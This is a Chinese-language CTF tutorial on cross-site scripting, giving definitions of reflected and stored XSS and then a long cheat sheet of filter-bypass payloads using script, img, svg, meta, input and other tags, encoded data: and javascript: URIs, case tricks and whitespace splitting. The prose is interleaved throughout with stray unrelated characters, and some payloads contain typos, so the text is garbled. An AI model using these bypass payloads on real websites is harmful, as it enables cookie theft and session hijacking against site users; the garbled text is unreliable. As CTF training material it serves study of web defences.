一样悟、概念:
? ? ? xss跨站腳本:一種經(jīng)常出現(xiàn)在WEB應(yīng)用程序中的計(jì)算機(jī)安全漏洞,是由于WEB應(yīng)用程序?qū)τ脩舻妮斎脒^濾不足而產(chǎn)生的庭猩。攻擊者利用網(wǎng)站漏洞把惡意代碼的腳本注入到網(wǎng)頁中去窟她,當(dāng)其他用戶瀏覽這些網(wǎng)站的時候,就會執(zhí)行其中的惡意代碼眯娱,竊取用戶的cookies礁苗,會話劫持,釣魚欺騙徙缴。
二试伙、分類:
? ? 1嘁信、反射型也稱非持久性腳本,主要將惡意腳本附加到URL地址的參數(shù)值中疏叨,通常出現(xiàn)在網(wǎng)站的搜索欄潘靖、用戶登錄入口等,用來竊取客戶端cookies或進(jìn)行釣魚欺騙蚤蔓。
? ? 2卦溢、持久性跨站腳本,不需要用戶單擊特定URL就能執(zhí)行跨站腳本秀又,攻擊者實(shí)現(xiàn)將惡意JavaScript代碼上傳或存儲到漏洞服務(wù)器中单寂,只要受害者瀏覽包含惡意JavaScript代碼的頁面就會執(zhí)行惡意代碼,一般出現(xiàn)在網(wǎng)站的留言吐辙、評論宣决、博客日志等交互處,惡意腳本被存儲到客戶端或者服務(wù)器數(shù)據(jù)庫中 昏苏。
三尊沸、CTF中的XSS
? ? ? CTF中的XSS題目設(shè)計(jì)一般為:要求參賽者在網(wǎng)址或者網(wǎng)頁的搜索框中插入非持久性腳本,繞過關(guān)鍵詞過濾贤惯,腳本運(yùn)行彈出窗口洼专,網(wǎng)頁后臺代碼會檢測網(wǎng)頁是否有窗口彈出,有彈出孵构,網(wǎng)頁會執(zhí)行后臺代碼屁商,跳轉(zhuǎn)網(wǎng)頁給出flag或者直接彈出帶有flag的窗口。
四浦译、xss繞過關(guān)鍵詞過濾
? ? ? 解答CTF中的XSS題目棒假,目的就是能讓自己插入的代碼運(yùn)行彈出窗口溯职,獲取flag精盅。
1、利用彈窗標(biāo)簽,這是最主要的一種方法谜酒,其他方法都是圍繞其服務(wù)
a標(biāo)簽
#javascript協(xié)議
<a href=javascript:alert(1)>點(diǎn)我啊</a># data協(xié)議
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>點(diǎn)我</a># url編碼的data協(xié)議
<a? ? href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E># 另兩種方式實(shí)現(xiàn)
<a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="black"/></a></svg>
<math><a xlink:href=javascript:alert(1)>點(diǎn)我</math>
script標(biāo)簽
# 直接彈窗
<script>alert(1)</script>
<script>confirm(1)</script>
<script>pormpt(1)</script># javascript協(xié)議編碼
<script>alert(String.fromCharCode(49))</script># 如果輸出是在setTimeout里叹俏,我們依然可以直接執(zhí)行alert(1)
<script>setTimeout('alert(1)',0)</script>
button標(biāo)簽
# 點(diǎn)擊彈窗
<button/onclick=alert(1) >點(diǎn)我</button># 不需要點(diǎn)擊就能彈窗
<button onfocus=alert(1) autofocus>
p標(biāo)簽
# 可以直接使用事件觸發(fā)
<p/onmouseover=alert(1)>點(diǎn)我</p>
img標(biāo)簽
# 可以使用事件觸發(fā)
<img src=x onerror=alert(1)>
body標(biāo)簽
# 事件觸發(fā)
<body onload=alert(1)># onscroll 事件在元素滾動條在滾動時觸發(fā),即頁面存在很多內(nèi)容僻族,需要滾動才能看到下面的內(nèi)容粘驰,就會觸發(fā)
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
var標(biāo)簽
# 事件觸發(fā),一般是用不需交互的事件比如鼠標(biāo)移動等
<var onmousemove=alert(1)>M</var>
div標(biāo)簽
# 事件觸發(fā)
<div/onclick='alert(1)'>X</div>
input標(biāo)簽
和button一樣通過autofocus可以達(dá)到無需交互即可彈窗的效果述么。
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
select標(biāo)簽
<select onfocus=javascript:alert(1) autofocus>
textarea標(biāo)簽
<textarea onfocus=javascript:alert(1) autofocus>
keygen標(biāo)簽
<keygen onfocus=javascript:alert(1) autofocus>
frameset標(biāo)簽
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
svg標(biāo)簽
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>
math標(biāo)簽
<math href="javascript:javascript:alert(1)">CLICKME</math>
<math><y/xlink:href=javascript:alert(51)>test1
video標(biāo)簽
<video><source onerror="alert(1)">
<video src=x onerror=alert(48)>
audio標(biāo)簽
<audio src=x onerror=alert(47)>
embed標(biāo)簽
<embed src=javascript:alert(1)>
meta標(biāo)簽
? ? 測試時發(fā)現(xiàn)蝌数,文章標(biāo)題跑到meta標(biāo)簽中,那么只需要跳出當(dāng)前屬性再添加http-equiv=”refresh”度秘,就可以構(gòu)造一個有效地xss payload顶伞。還有一些猥瑣的思路,就是通過給http-equiv設(shè)置set-cookie,進(jìn)一步重新設(shè)置cookie來干一些猥瑣的事情唆貌。
<meta http-equiv="refresh" content="0;javascript:alert(1)"/><meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
marquee標(biāo)簽
<marquee onstart="alert('1')"></marquee>
isindex標(biāo)簽
<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>
? ? 當(dāng)過濾掉javascript滑潘,alert等常見關(guān)鍵詞,單引號锨咙,雙引號语卤,分號時,可以嘗試使用以上不同的標(biāo)簽插入酪刀,達(dá)到彈出窗口的目的粹舵。
2. 大小寫繞過:<sCript>
3. alert被過濾,可以嘗試prompt和confirm
4. 空格被過濾:<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>
5. <imgsrc="1"onerror="alert(1)">和<imgsrc="1"onerror="alert(1)">是等效的骂倘,沒有過濾&齐婴,#等符號,我們就可以寫入任意字符
6. 長度限制時: <q/oncut=alert(1)>//在限制長度的地方很有效
7. 括號被過濾,可以使用throw來拋出數(shù)據(jù)
<a onmouseover="javascript:window.onerror=alert;throw 1">2</a>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
9. 過濾某些關(guān)鍵字(如:javascript) 可以在屬性中的引號內(nèi)容中使用空字符稠茂、空格柠偶、TAB換行、注釋睬关、特殊的函數(shù)诱担,將代碼行隔開。如:javas%09cript:alert()电爹、javas%0acript:alert()蔫仙、javas%0dcript:alert(),其中%0a表示換行丐箩。
10摇邦、寬字節(jié)繞過:gbxxxx系列的編碼,那么我們嘗試一下寬字節(jié)? %c0屎勘,%bf施籍,%5c,%df
11概漱、編碼繞過:十六進(jìn)制編碼丑慎、jsfuck編碼、url編碼瓤摧、unicode編碼
<0x736372697074>alert('123')</0x736372697074>
<img src="1" onerror="alert(1)">
五竿裂、總結(jié)
? ? 談了這么多關(guān)于XSS繞過的內(nèi)容,其實(shí)要想記住上面的所有內(nèi)容很難照弥,也完全沒有必要腻异,上面的方法其實(shí)只是提供一種思路,具體的繞過還得在實(shí)踐中來檢驗(yàn)这揣,下面的章節(jié)將帶領(lǐng)大家在練習(xí)題目中去使用這些方法悔常。
注:以上內(nèi)容僅供學(xué)習(xí)交流使用敢会,嚴(yán)禁使用于非法途徑。